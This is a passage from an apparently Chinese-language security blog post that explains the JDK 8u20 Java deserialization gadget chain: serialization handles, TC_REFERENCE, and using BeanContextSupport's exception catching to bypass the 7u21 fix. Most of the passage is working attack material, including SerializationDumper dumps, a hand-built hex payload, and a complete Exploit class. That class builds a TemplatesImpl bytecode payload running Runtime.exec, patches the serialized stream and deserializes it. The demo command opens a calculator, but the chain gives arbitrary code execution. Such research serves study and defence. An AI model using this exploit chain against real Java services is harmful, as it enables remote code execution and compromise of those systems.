方法,该方法主要就是从字节流中读取对象的字段值 ,它可以从字节流中按照定义对象的类描述符 以及定义的顺序读取字段的名称 和类型信息 。这些值会通过匹配当前类的字段名称的方式来赋予,如果当前这个对象中的某个字段并没有在字节流中出现,则这些字段会使用类中定义的默认值。
如果这个值出现在字节流中,但是并不属于对象,则抛弃该值 。
如果这个值是一个对象的话,那么会为这个值分配一个Handle
在利用defaultReadObject()
还原了一部分对象的值后,最近进行AnnotationType.getInstance(type)
判断,如果传入的 type 不是AnnotationType
类型,那么抛出异常。
也就是说,实际上在jdk7u21
漏洞中,我们传入的AnnotationInvocationHandler
对象在异常被抛出前,已经从序列化数据中被还原出来。换句话说就是我们把恶意的种子种到了运行对象中,但是因为出现异常导致该种子没法生长,只要我们解决了这个异常,那么就可以重新达到我们的目的。
这也就是jdk8u20
漏洞的原理——绕过异常。
有趣的Try & Catch & Throw 总结panda师傅的实验:
假设a方法有try-catch-throw,b方法只有try-catch: 以下 ->
表示调用
分类讨论:
如果a ->b
,如果b中出现异常,由于没有throw,并不会影响a后续的执行流程。
如果b->a
,如果a中出现异常,a会将异常throw给上一级的b,被b方法catch住,b方法中断,b后续就不会再继续执行了。
什么是反序列化句柄Handle Handle值是每一个对象自身的一个字段。
在序列化数据中,存在的对象有null、new objects、classes、arrays、strings、back references等,这些对象在序列化结构中都有对应的描述信息,并且每一个写入字节流的对象都会被赋予引用Handle
,并且这个引用Handle
可以反向引用该对象(使用TC_REFERENCE
结构,引用前面handle的值),引用Handle
会从0x7E0000
开始进行顺序赋值并且自动自增,一旦字节流发生了重置则该引用Handle会重新从0x7E0000
开始。
如果你连续两次序列化同一个对象,那么第二次序列化写入的就是第一个对象的handle。
可以发现,因为我们两次 writeObject 写入的其实是同一个对象,所以 Date 对象的数据只在第一次 writeObject 的时候被真实写入了。而第二次 writeObject 时,写入的是一个 TC_REFERENCE 的结构,随后跟了一个4 字节的 Int 值,值为 0x00 7e 00 01。这是什么意思呢?意思就是第二个对象引用的其实是 handle 为 0x00 7e 00 01 的那个对象。
在反序列化进行读取的时候,因为之前进行了两次 writeObject,所以为了读取,也应该进行两次 readObject:
第一次 readObject 将会读取 TC_OBJECT 表示的第 1 个对象,发现是 Date 类型的对象,然后从流中读取此对象成员的值并还原。并为此 Date 对象分配一个值为 0x00 7e 00 01 的 handle。
第二个 readObject 会读取到 TC_REFERENCE,说明是一个引用,引用的是刚才还原出来的那个 Date 对象,此时将直接返回之前那个 Date 对象的引用。
在反序列化流程梳理 这篇,在最开始的switch-case时候,如果是一个TC_REFERENCE,调用的是readHandle:
1 2 case TC_REFERENCE: return readHandle(unshared);
跟进去看readHandle
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 private Object readHandle (boolean unshared) throws IOException { if (bin.readByte() != TC_REFERENCE) { throw new InternalError(); } passHandle = bin.readInt() - baseWireHandle; if (passHandle < 0 || passHandle >= handles.size()) { throw new StreamCorruptedException( String.format("invalid handle value: %08X" , passHandle + baseWireHandle)); } if (unshared) { throw new InvalidObjectException( "cannot read back reference as unshared" ); } Object obj = handles.lookupObject(passHandle); if (obj == unsharedMarker) { throw new InvalidObjectException( "cannot read back reference to unshared object" ); } filterCheck(null , -1 ); return obj; }
这方法首先读取TC_REFERENCE字段,接下来把读取的Handle的值传递个passHandle变量
来到Object obj = handles.lookupObject(passHandle);
跟进去看源码:
1 2 3 4 5 6 7 8 9 10 Object lookupObject (int handle) { return (handle != NULL_HANDLE && status[handle] != STATUS_EXCEPTION) ? entries[handle] : null ; }
lookupObject判断如果引用的handle
不为空、并且没有关联的ClassNotFoundException
(status[handle] != STATUS_EXCEPTION
),那么就返回给定handle
的引用对象。
所以这里的逻辑就是,一旦在反序列化过程中发现有TC_REFERENCE的时候,会尝试还原引用的handle对象 。
如何插入数据? 思考一个问题,如果我们在序列化的过程中,再向流内写东西,会发生什么?
做个实验:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public class Twice implements Serializable { private static final long serialVersionUID = 100L ; public static int num = 0 ; private void writeObject (ObjectOutputStream oos) throws Exception { oos.defaultWriteObject(); oos.writeObject("ORANGE" ); oos.writeUTF("This is a sentence!" ); } public static void main (String[] args) throws Exception { Twice t = new Twice(); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("twice1.ser" )); oos.writeObject(t); oos.close(); } }
看一下twice2.ser:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 $ java -jar SerializationDumper.jar -r twice1.ser STREAM_MAGIC - 0xac ed STREAM_VERSION - 0x00 05 Contents TC_OBJECT - 0x73 TC_CLASSDESC - 0x72 className Length - 20 - 0x00 14 Value - com.fxc.serial.Twice - 0x636f6d2e6678632e73657269616c2e5477696365 serialVersionUID - 0x00 00 00 00 00 00 00 64 newHandle 0x00 7 e 00 00 classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE fieldCount - 0 - 0x00 00 classAnnotations TC_ENDBLOCKDATA - 0x78 superClassDesc TC_NULL - 0x70 newHandle 0x00 7 e 00 01 classdata com.fxc.serial.Twice values objectAnnotation TC_STRING - 0x74 newHandle 0x00 7 e 00 02 Length - 6 - 0x00 06 Value - ORANGE - 0x4f52414e4745 TC_BLOCKDATA - 0x77 Length - 21 - 0x15 Contents - 0x00135468697320697320612073656e74656e636521 TC_ENDBLOCKDATA - 0x78
可以发现:
首先classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE
有注明,对象有实现writeObject方法
其次在classdata下面出现了objectAnnotation
字段,两个对象
一个是我们写入的String对象“ORANGE”
第二个是一个BlockData “This is a sentence!”
TC_ENDBLOCKDATA标志着对象结束
现在我们当然想在writeObject的时候就插入恶意数据
简单粗暴,一切都是二进制,我们直接手动写入一段objectAnnotation
就可以了 。
先看一个小例子,复盘一下panda 师傅的实验。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public class AnnotationInvocationHandler implements Serializable { private static final long serialVersionUID = 10L ; private int zero; public AnnotationInvocationHandler (int zero) { this .zero = zero; } public void exec (String cmd) throws IOException { Process shell = Runtime.getRuntime().exec(cmd); } private void readObject (ObjectInputStream input) throws Exception { input.defaultReadObject(); if (this .zero==0 ){ try { double result = 1 /this .zero; }catch (Exception e) { throw new Exception("Hack !!!" ); } }else { throw new Exception("your number is error!!!" ); } } }
1 2 3 4 5 6 7 8 9 10 11 public class BeanContextSupport implements Serializable { private static final long serialVersionUID = 20L ; private void readObject (ObjectInputStream input) throws Exception { input.defaultReadObject(); try { input.readObject(); } catch (Exception e) { return ; } } }
两个类:A有throw,B没有throw
如果我们反序列化A,肯定会报错。
因为A的readObject首先会执行input.defaultReadObject()
,这句话其实的意思就是从序列化流里面取出一个对象,然后执行他的默认序列化,就是给字段赋值。
这里this
其实就是AnnotationInvocationHandler
对象了,当我们执行完input.defaultReadObject
的时候,其实zero字段已经被赋值为0了。
所以会进入if,除数为0,引发异常,但是我们的AnnotationInvocationHandler对象已经序列化成功了 。
我们看一下序列化好的payload1文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 STREAM_MAGIC - 0xac ed STREAM_VERSION - 0x00 05 Contents TC_OBJECT - 0x73 TC_CLASSDESC - 0x72 className Length - 49 - 0x00 31 Value - com.fxc.bautwentycase.AnnotationInvocationHandler - 0x636f6d2e6678632e6261757477656e7479636173652e416e6e6f746174696f6e496e766f636174696f6e48616e646c6572 serialVersionUID - 0x00 00 00 00 00 00 00 0a newHandle 0x00 7e 00 00 classDescFlags - 0x02 - SC_SERIALIZABLE fieldCount - 1 - 0x00 01 Fields 0: Int - I - 0x49 fieldName Length - 4 - 0x00 04 Value - zero - 0x7a65726f classAnnotations TC_ENDBLOCKDATA - 0x78 superClassDesc TC_NULL - 0x70 newHandle 0x00 7e 00 01 classdata com.fxc.bautwentycase.AnnotationInvocationHandler values zero (int)0 - 0x00 00 00 00
我们要知道为什么7u21修复之后就失效了?
是因为在catch块中,修复前没有throw,修复之后多了throw!!!!
也就是说,修复之后,异常被throw,进程被终止掉,我们的反序列化对象也被销毁掉,导致反序列化失败 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { return ; } AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream" ); }
我们希望的是就算有异常,不要有throw,catch就好了,这样可以保证我们的反序列化对象还是存在的。
所以来到上一个小实验,如果我们希望绕过if(this.zero==0){
这个判断:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public class AnnotationInvocationHandler implements Serializable { private static final long serialVersionUID = 10L ; private int zero; public AnnotationInvocationHandler (int zero) { this .zero = zero; } public void exec (String cmd) throws IOException { Process shell = Runtime.getRuntime().exec(cmd); } private void readObject (ObjectInputStream input) throws Exception { input.defaultReadObject(); if (this .zero==0 ){ try { double result = 1 /this .zero; }catch (Exception e) { throw new Exception("Hack !!!" ); } }else { throw new Exception("your number is error!!!" ); } } }
现在换一个思路,A类的readObject一定会throw一个异常,我们能做的就是希望这个exception不要影响我们对象的序列化进程。
想到之前的分析:
我们可以在A的throw外面再套一个try-catch
:
也就是说,你A可以随便throw Exception,我只要外面catch住就可以了,进程不受影响。
这也是为什么B类存在的原因。
重点看B:
1 2 3 4 5 6 7 8 9 10 11 public class BeanContextSupport implements Serializable { private static final long serialVersionUID = 20L ; private void readObject (ObjectInputStream input) throws Exception { input.defaultReadObject(); try { input.readObject(); } catch (Exception e) { return ; } } }
B的特点就是在本身的readObject里面又调用了下一个流中对象的readObject
梳理一下,我们现在需要的是==把A序列化好的hex插入到B中==
这样B在反序列化的时候:
input.defaultReadObject();
反序列化出来的是B自身对象
input.readObject
反序列化出来的就是A的对象,会报错,但是会被B catch 住,==不影响反序列化对象在内存中的存在==
所以A的序列化文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 STREAM_MAGIC - 0xac ed STREAM_VERSION - 0x00 05 Contents TC_OBJECT - 0x73 TC_CLASSDESC - 0x72 className Length - 49 - 0x00 31 Value - com.fxc.bautwentycase.AnnotationInvocationHandler - 0x636f6d2e6678632e6261757477656e7479636173652e416e6e6f746174696f6e496e766f636174696f6e48616e646c6572 serialVersionUID - 0x00 00 00 00 00 00 00 0 a newHandle 0x00 7 e 00 00 classDescFlags - 0x02 - SC_SERIALIZABLE fieldCount - 1 - 0x00 01 Fields 0 : Int - I - 0x49 fieldName Length - 4 - 0x00 04 Value - zero - 0x7a65726f classAnnotations TC_ENDBLOCKDATA - 0x78 superClassDesc TC_NULL - 0x70 newHandle 0x00 7 e 00 01 classdata com.fxc.bautwentycase.AnnotationInvocationHandler values zero (int )0 - 0x00 00 00 00
B的序列化文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 STREAM_MAGIC - 0xac ed STREAM_VERSION - 0x00 05 Contents TC_OBJECT - 0x73 TC_CLASSDESC - 0x72 className Length - 40 - 0x00 28 Value - com.fxc.bautwentycase.BeanContextSupport - 0x636f6d2e6678632e6261757477656e7479636173652e4265616e436f6e74657874537570706f7274 serialVersionUID - 0x00 00 00 00 00 00 00 14 newHandle 0x00 7 e 00 00 classDescFlags - 0x02 - SC_SERIALIZABLE fieldCount - 0 - 0x00 00 classAnnotations TC_ENDBLOCKDATA - 0x78 superClassDesc TC_NULL - 0x70 newHandle 0x00 7 e 00 01 classdata com.fxc.bautwentycase.BeanContextSupport values
再重复一遍:==A插入到B中==
插入到哪里?自然是objectAnnotation
中了
前面我省略了,重点看插入后的classdata
部分,最终版
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 STREAM_MAGIC - 0xac ed STREAM_VERSION - 0x00 05 Contents TC_OBJECT - 0x73 TC_CLASSDESC - 0x72 className Length - 40 - 0x00 28 Value - com.fxc.bautwentycase.BeanContextSupport - 0x636f6d2e6678632e6261757477656e7479636173652e4265616e436f6e74657874537570706f7274 serialVersionUID - 0x00 00 00 00 00 00 00 14 newHandle 0x00 7 e 00 00 classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE fieldCount - 0 - 0x00 00 classAnnotations TC_ENDBLOCKDATA - 0x78 superClassDesc TC_NULL - 0x70 newHandle 0x00 7 e 00 01 classdata com.panda.sec.BeanContextSupport values objectAnnotation TC_OBJECT - 0x73 TC_CLASSDESC - 0x72 className Length - 49 - 0x00 31 Value - com.fxc.bautwentycase.AnnotationInvocationHandler - 0x636f6d2e6678632e6261757477656e7479636173652e416e6e6f746174696f6e496e766f636174696f6e48616e646c6572 serialVersionUID - 0x00 00 00 00 00 00 00 0 a newHandle 0x00 7 e 00 02 classDescFlags - 0x02 - SC_SERIALIZABLE fieldCount - 1 - 0x00 01 Fields 0 : Int - I - 0x49 fieldName Length - 4 - 0x00 04 Value - zero - 0x7a65726f classAnnotations TC_ENDBLOCKDATA - 0x78 superClassDesc TC_NULL - 0x70 newHandle 0x00 7 e 00 03 classdata com.fxc.bautwentycase.AnnotationInvocationHandler values zero (int )0 - 0x00 00 00 00 TC_ENDBLOCKDATA - 0x78 TC_REFERENCE - 0x71 Handle - 8257539 - 0x00 7 e 00 03
8257539
怎么来的?
当然是逆SerializationDumper
看源码抄的\doge:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public static void num () { byte b1 = 0 ; byte b2 = 126 ; byte b3 = 0 ; byte b4 = 3 ; int handle = ( ((b1 << 24 ) & 0xff000000 ) + ((b2 << 16 ) & 0xff0000 ) + ((b3 << 8 ) & 0xff00 ) + ((b4 ) & 0xff ) ); System.out.println("Handle - " + handle + " - 0x" + byteToHex(b1) + " " + byteToHex(b2) + " " + byteToHex(b3) + " " + byteToHex(b4)); }
我们的payload梳理一下就是这个:
1 2 3 4 5 6 7 8 9 aced 0005 7372 0028 636f 6 d2e 6678 632 e 6261 7574 7765 6e74 7963 6173 652 e 4265 616 e 436f 6e74 6578 7453 7570 706f 7274 0000 0000 0000 0014 0300 0078 7073 7200 3163 6f 6d 2e66 7863 2e62 6175 7477 656 e7479 6361 7365 2e41 6e6 e 6f 74 6174 696f 6e49 6e76 6f 63 6174 696f 6e48 616 e 646 c6572 0000 0000 0000 000 a 0200 0149 0004 7 a65 726f 7870 0000 0000 7871 007 e 0003
攻击一下:
1 2 3 4 5 6 7 8 9 10 11 public class Attack { public static void main (String[] args) throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload" )); System.out.println(ois.readObject().toString()); AnnotationInvocationHandler a = (AnnotationInvocationHandler) ois.readObject(); System.out.println(a.toString()); a.exec("open /Applications/Calculator.app" ); } }
并且可以发现:[B(A)]
我们把A塞进了B之中,所以第一个反序列化出来的是B对象,第二个反序列化出来的是A对象。
绕过 经过这篇 的分析:
当我们序列化一个对象的时候,每次在写入序列化对象的时候,都会调用handles.lookup
方法来判断该对象是否已经写入了,如果已经写入了,那么就会调用writeHandle(h)
来写入引用类型标识和handle引用值0x7e0000+handle
在之前的7u21中
序列化顺序:HashSet.writeObject -> AnnotationInvocationHandler.defaultWriteFields
反序列化顺序:HashSet.readObject -> AnnotationInvocationHandler.readObject
但是在8u20中,AnnotationInvocationHandler.readObject限制了this.type必须是注解类型才可以。
如果不是的话,会抛出异常。
这个异常如果在反序列化过程当中被抛出,外层的HashSet也并没有catch处理,所以会报错。
所以我们需要找到一个类,除了最基本的序列化条件,还需要满足:
重写了readObject方法
在自身的readObject方法中,还存在readObject方法的调用,并且对第二次的readObject方法存在异常的catch。
JRE8u20 中利用到了名为 BeanContextSupport 类。
这个类满足以上条件,负责来帮我们绕过的。
看一下BeanContextSupport的readObject源码:
进入readChildren方法:
发现这里读去了流中的下一个对象,并且出现异常仅仅是catch,并没有throw ,符合构造条件。
在执行ois.readObject()
时,这里try-catch了,但是没有把异常抛出来,程序会接着执行。
如果这里可以把AnnotationInvocationHandler
对象在BeanContextSupport
类第二次writeObject的时候写入,这样反序列化时,即使AnnotationInvocationHandler
对象 this.type的值为Templates
类型也不会报错。
反序列化还有两点就是:
1.反序列化时类中没有这个成员,依然会对这个成员进行反序列化操作,但是之后会抛弃掉这个成员。
2.每一个新的对象都会分配一个newHandle的值,newHandle生成规则是从0x7e0000开始递增,如果后面出现相同的类型则会使用TC_REFERENCE
结构,引用前面handle的值。
在之前的反序列化流程 分析中我们知道:
在反序列化中,如果当前这个对象中的某个字段并没有在字节流中出现,则这些字段会使用类中定义的默认值,如果这个值出现在字节流中,但是并不属于对象,则抛弃该值,但是如果这个值是一个对象的话,那么会为这个值分配一个 Handle。
关联 我们在7u21里面用的是LinkedHashSet作为反序列化的source类,我们现在希望有一个可以触发BeanContextSupport的readObject方法。
所以可以在LinkedHashSet内部生成一个BeanContextSupport类型的字段 ,这样就可以和7u21一样触发字段readObject方法了。
因为在反序列化流程中,都是先还原对象中字段的值,然后才是objectAnnotation的内容。所以放在这个场景里就是:
还原一个LinkedHashSet
还原这个LinkedHashSet中字段的值
如果这个LinkedHashSet中某一个字段是BeanContextSupport类型,那么就会触发BeanContextSupport.readObject
这个BeanContextSupport类型的字段本身还有一个字段是AnnotationInvocationHandler类型,所以就又会去触发AnnotationInvocationHandler.readObject
构造可以参考feihong 师傅的payload,膜了膜了。
最终PoC 最终payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 public class Exploit { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class )) ; CtClass tempExploitClass = pool.makeClass("3xpl01t" ); tempExploitClass.setSuperclass(pool.get(AbstractTranslet.class .getName ())) ; String cmd = "java.lang.Runtime.getRuntime().exec(\"open /Applications/Calculator.app\");" ; tempExploitClass.makeClassInitializer().insertBefore(cmd); byte [] exploitBytes = tempExploitClass.toBytecode(); TemplatesImpl tmpl = new TemplatesImpl(); Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true ); bytecodes.set(tmpl, new byte [][]{exploitBytes}); Field _name = TemplatesImpl.class.getDeclaredField("_name"); _name.setAccessible(true ); _name.set(tmpl, "0range" ); Field _class = TemplatesImpl.class.getDeclaredField("_class"); _class.setAccessible(true ); _class.set(tmpl, null ); Field _auxClasses = TemplatesImpl.class.getDeclaredField("_auxClasses"); _auxClasses.setAccessible(true ); _auxClasses.set(tmpl, null ); Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory"); _tfactory.setAccessible(true ); _tfactory.set(tmpl, TransformerFactoryImpl.class .newInstance ()) ; Map map = new HashMap(2 ); String magicStr = "f5a5a608" ; map.put(magicStr, "foo" ); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor cons = clazz.getDeclaredConstructor(Class.class ,Map .class ) ; cons.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler) cons.newInstance(Override.class , map ) ; Field type = clazz.getDeclaredField("type" ); type.setAccessible(true ); type.set(invocationHandler,Templates.class ) ; Templates proxy = (Templates) Proxy.newProxyInstance(InvocationHandler.class.getClassLoader(), new Class[]{Templates.class}, invocationHandler); map.put(magicStr, tmpl); LinkedHashSet set = new LinkedHashSet(); BeanContextSupport bcs = new BeanContextSupport(); Class cc = Class.forName("java.beans.beancontext.BeanContextSupport" ); Field serializable = cc.getDeclaredField("serializable" ); serializable.setAccessible(true ); serializable.set(bcs, 0 ); Field beanContextChildPeer = cc.getSuperclass().getDeclaredField("beanContextChildPeer" ); beanContextChildPeer.set(bcs, bcs); set.add(bcs); ByteArrayOutputStream baous = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baous); oos.writeObject(set); oos.writeObject(invocationHandler); oos.writeObject(tmpl); oos.writeObject(proxy); oos.close(); byte [] bytes = baous.toByteArray(); System.out.println("[+] Modify HashSet size from 1 to 3" ); bytes[89 ] = 3 ; for (int i = 0 ; i < bytes.length; i++){ if (bytes[i] == 0 && bytes[i+1 ] == 0 && bytes[i+2 ] == 0 & bytes[i+3 ] == 0 && bytes[i+4 ] == 120 && bytes[i+5 ] == 120 && bytes[i+6 ] == 115 ){ System.out.println("[+] Delete TC_ENDBLOCKDATA at the end of HashSet" ); bytes = Util.deleteAt(bytes, i + 5 ); break ; } } for (int i = 0 ; i < bytes.length; i++){ if (bytes[i] == 120 && bytes[i+1 ] == 0 && bytes[i+2 ] == 1 && bytes[i+3 ] == 0 && bytes[i+4 ] == 0 && bytes[i+5 ] == 0 && bytes[i+6 ] == 0 && bytes[i+7 ] == 115 ){ System.out.println("[+] Modify BeanContextSupport.serializable from 0 to 1" ); bytes[i+6 ] = 1 ; break ; } } for (int i = 0 ; i < bytes.length; i++){ if (bytes[i] == 119 && bytes[i+1 ] == 4 && bytes[i+2 ] == 0 && bytes[i+3 ] == 0 && bytes[i+4 ] == 0 && bytes[i+5 ] == 0 && bytes[i+6 ] == 120 ){ System.out.println("[+] Delete TC_BLOCKDATA...int...TC_BLOCKDATA at the End of BeanContextSupport" ); bytes = Util.deleteAt(bytes, i); bytes = Util.deleteAt(bytes, i); bytes = Util.deleteAt(bytes, i); bytes = Util.deleteAt(bytes, i); bytes = Util.deleteAt(bytes, i); bytes = Util.deleteAt(bytes, i); bytes = Util.deleteAt(bytes, i); break ; } } for (int i = 0 ; i < bytes.length; i++){ if (bytes[i] == 0 && bytes[i+1 ] == 0 && bytes[i+2 ] == 0 && bytes[i+3 ] == 0 && bytes[i + 4 ] == 0 && bytes[i+5 ] == 0 && bytes[i+6 ] == 0 && bytes[i+7 ] == 0 && bytes[i+8 ] == 0 && bytes[i+9 ] == 0 && bytes[i+10 ] == 0 && bytes[i+11 ] == 120 && bytes[i+12 ] == 112 ){ System.out.println("[+] Add back previous delte TC_BLOCKDATA...int...TC_BLOCKDATA after invocationHandler" ); i = i + 13 ; bytes = Util.addAtIndex(bytes, i++, (byte ) 0x77 ); bytes = Util.addAtIndex(bytes, i++, (byte ) 0x04 ); bytes = Util.addAtIndex(bytes, i++, (byte ) 0x00 ); bytes = Util.addAtIndex(bytes, i++, (byte ) 0x00 ); bytes = Util.addAtIndex(bytes, i++, (byte ) 0x00 ); bytes = Util.addAtIndex(bytes, i++, (byte ) 0x00 ); bytes = Util.addAtIndex(bytes, i++, (byte ) 0x78 ); break ; } } for (int i = 0 ; i < bytes.length; i++){ if (bytes[i] == 115 && bytes[i+1 ] == 117 && bytes[i+2 ] == 110 && bytes[i+3 ] == 46 && bytes[i + 4 ] == 114 && bytes[i+5 ] == 101 && bytes[i+6 ] == 102 && bytes[i+7 ] == 108 ){ System.out.println("[+] Modify sun.reflect.annotation.AnnotationInvocationHandler -> classDescFlags from SC_SERIALIZABLE to " + "SC_SERIALIZABLE | SC_WRITE_METHOD" ); i = i + 58 ; bytes[i] = 3 ; break ; } } System.out.println("[+] Add TC_BLOCKDATA at end" ); bytes = Util.addAtLast(bytes, (byte ) 0x78 ); FileOutputStream fous = new FileOutputStream(System.getProperty("user.dir" )+"/src/main/resources/Payload_jdk8u20.ser" ); fous.write(bytes); ObjectInputStream ois = new ObjectInputStream(new FileInputStream(System.getProperty("user.dir" )+"/src/main/resources/Payload_jdk8u20.ser" )); ois.readObject(); ois.close(); } }
参考 lalajun /高级利用 /lazymap /浅析Java序列化和反序列化 /
javassist /B4llo0n /anquanke /aliyun /平安 /seebug
wh1t3p1g /6&7 /b1ngz /7u21 /8u20 /序列化规范 /8u20